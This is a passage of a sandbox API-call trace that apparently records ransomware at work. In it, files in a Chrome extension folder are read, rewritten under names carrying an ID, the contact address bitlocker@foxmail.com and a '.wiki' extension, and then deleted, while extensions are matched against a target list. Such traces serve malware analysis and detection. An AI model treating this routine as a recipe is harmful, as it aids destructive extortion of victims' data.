"c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.836] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.836] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.836] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0177.837] GetLastError () returned 0x0 [0177.837] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x112dc, lpOverlapped=0x0) returned 1 [0177.840] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x112e0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x112e0, lpOverlapped=0x0) returned 1 [0177.842] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.842] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0177.842] SetEndOfFile (hFile=0x1a0) returned 1 [0177.842] CloseHandle (hObject=0x1a0) returned 1 [0177.842] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.843] SetEndOfFile (hFile=0x1ac) returned 1 [0177.844] CloseHandle (hObject=0x1ac) returned 1 [0177.844] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.844] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif")) returned 1 [0177.844] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif") returned 148 [0177.844] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif") returned 148 [0177.844] lstrlenW (lpString=".doc") returned 4 [0177.844] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0177.844] lstrlenW (lpString=".docx") returned 5 [0177.844] lstrcmpiW (lpString1=".docx", lpString2="r.gif") returned -1 [0178.125] lstrlenW (lpString=".pdf") returned 4 [0178.125] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0178.125] lstrlenW (lpString=".xls") returned 4 [0178.125] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0178.125] lstrlenW (lpString=".xlsx") returned 5 [0178.125] lstrcmpiW (lpString1=".xlsx", lpString2="r.gif") returned -1 [0178.125] lstrlenW (lpString=".ppt") returned 4 [0178.125] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0178.125] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif") returned 148 [0178.125] lstrlenW (lpString=".zip") returned 4 [0178.125] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0178.125] lstrlenW (lpString=".rar") returned 4 [0178.125] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0178.125] lstrlenW (lpString=".bz2") returned 4 [0178.125] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0178.125] lstrlenW (lpString=".7z") returned 3 [0178.125] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0178.125] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif") returned 148 [0178.125] lstrlenW (lpString=".dbf") returned 4 [0178.126] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0178.126] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif") returned 148 [0178.126] lstrlenW (lpString=".1cd") returned 4 [0178.126] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0178.126] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif") returned 148 [0178.126] lstrlenW (lpString=".jpg") returned 4 [0178.126] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0178.126] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif") returned 148 [0178.126] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif") returned 148 [0178.126] lstrlenW (lpString=".doc") returned 4 [0178.126] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0178.126] lstrlenW (lpString=".docx") returned 5 [0178.126] lstrcmpiW (lpString1=".docx", lpString2="r.gif") returned -1 [0178.126] lstrlenW (lpString=".pdf") returned 4 [0178.126] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0178.126] lstrlenW (lpString=".xls") returned 4 [0178.126] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0178.126] lstrlenW (lpString=".xlsx") returned 5 [0178.126] lstrcmpiW (lpString1=".xlsx", lpString2="r.gif") returned -1 [0178.126] lstrlenW (lpString=".ppt") returned 4 [0178.126] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0178.126] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif") returned 148 [0178.126] lstrlenW (lpString=".zip") returned 4 [0178.126] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0178.126] lstrlenW (lpString=".rar") returned 4 [0178.126] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0178.126] lstrlenW (lpString=".bz2") returned 4 [0178.126] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0178.126] lstrlenW (lpString=".7z") returned 3 [0178.127] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0178.127] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif") returned 148 [0178.127] lstrlenW (lpString=".dbf") returned 4 [0178.127] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0178.127] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif") returned 148 [0178.127] lstrlenW (lpString=".1cd") returned 4 [0178.127] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0178.127] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif") returned 148 [0178.127] lstrlenW (lpString=".jpg") returned 4 [0178.127] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0178.127] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.127] lstrlenW (lpString="messages.json") returned 13 [0178.127] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0178.273] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=886) returned 1 [0178.273] CloseHandle (hObject=0x1a4) returned 1 [0178.273] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json")) returned 0x2020 [0178.273] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.273] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0178.273] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.273] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.273] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.583] GetLastError () returned 0x0 [0178.583] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x376, lpOverlapped=0x0) returned 1 [0178.602] WriteFile (in: hFile=0x2e0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x380, lpOverlapped=0x0) returned 1 [0178.602] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.603] WriteFile (in: hFile=0x2e0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0178.603] SetEndOfFile (hFile=0x2e0) returned 1 [0178.603] CloseHandle (hObject=0x2e0) returned 1 [0178.603] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.603] SetEndOfFile (hFile=0x1a4) returned 1 [0178.604] CloseHandle (hObject=0x1a4) returned 1 [0178.604] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.604] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json")) returned 1 [0178.604] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json") returned 155 [0178.604] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json") returned 155 [0178.604] lstrlenW (lpString=".doc") returned 4 [0178.604] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.604] lstrlenW (lpString=".docx") returned 5 [0178.604] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.604] lstrlenW (lpString=".pdf") returned 4 [0178.604] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.604] lstrlenW (lpString=".xls") returned 4 [0178.604] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.604] lstrlenW (lpString=".xlsx") returned 5 [0178.604] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.604] lstrlenW (lpString=".ppt") returned 4 [0178.605] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.605] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json") returned 155 [0178.605] lstrlenW (lpString=".zip") returned 4 [0178.605] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.605] lstrlenW (lpString=".rar") returned 4 [0178.605] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.605] lstrlenW (lpString=".bz2") returned 4 [0178.605] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.605] lstrlenW (lpString=".7z") returned 3 [0178.605] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.605] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json") returned 155 [0178.605] lstrlenW (lpString=".dbf") returned 4 [0178.605] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.605] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json") returned 155 [0178.605] lstrlenW (lpString=".1cd") returned 4 [0178.605] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.605] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json") returned 155 [0178.605] lstrlenW (lpString=".jpg") returned 4 [0178.605] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.605] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json") returned 155 [0178.605] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json") returned 155 [0178.605] lstrlenW (lpString=".doc") returned 4 [0178.605] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.605] lstrlenW (lpString=".docx") returned 5 [0178.605] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.605] lstrlenW (lpString=".pdf") returned 4 [0178.605] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.605] lstrlenW (lpString=".xls") returned 4 [0178.605] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.605] lstrlenW (lpString=".xlsx") returned 5 [0178.605] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.606] lstrlenW (lpString=".ppt") returned 4 [0178.606] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.606] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json") returned 155 [0178.606] lstrlenW (lpString=".zip") returned 4 [0178.606] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.606] lstrlenW (lpString=".rar") returned 4 [0178.606] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.606] lstrlenW (lpString=".bz2") returned 4 [0178.606] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.606] lstrlenW (lpString=".7z") returned 3 [0178.606] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.606] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json") returned 155 [0178.606] lstrlenW (lpString=".dbf") returned 4 [0178.606] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.606] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json") returned 155 [0178.606] lstrlenW (lpString=".1cd") returned 4 [0178.606] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.606] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json") returned 155 [0178.606] lstrlenW (lpString=".jpg") returned 4 [0178.606] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.606] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.606] lstrlenW (lpString="messages.json") returned 13 [0178.606] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0178.607] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=696) returned 1 [0178.607] CloseHandle (hObject=0x1a4) returned 1 [0178.607] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json")) returned 0x2020 [0178.607] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.607] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0178.607] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.607] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.607] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.608] GetLastError () returned 0x0 [0178.608] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x2b8, lpOverlapped=0x0) returned 1 [0178.610] WriteFile (in: hFile=0x2e0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x2c0, lpOverlapped=0x0) returned 1 [0178.611] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.611] WriteFile (in: hFile=0x2e0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0178.611] SetEndOfFile (hFile=0x2e0) returned 1 [0178.611] CloseHandle (hObject=0x2e0) returned 1 [0178.611] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.611] SetEndOfFile (hFile=0x1a4) returned 1 [0178.612] CloseHandle (hObject=0x1a4) returned 1 [0178.612] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.612] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json")) returned 1 [0178.612] lstrlenW 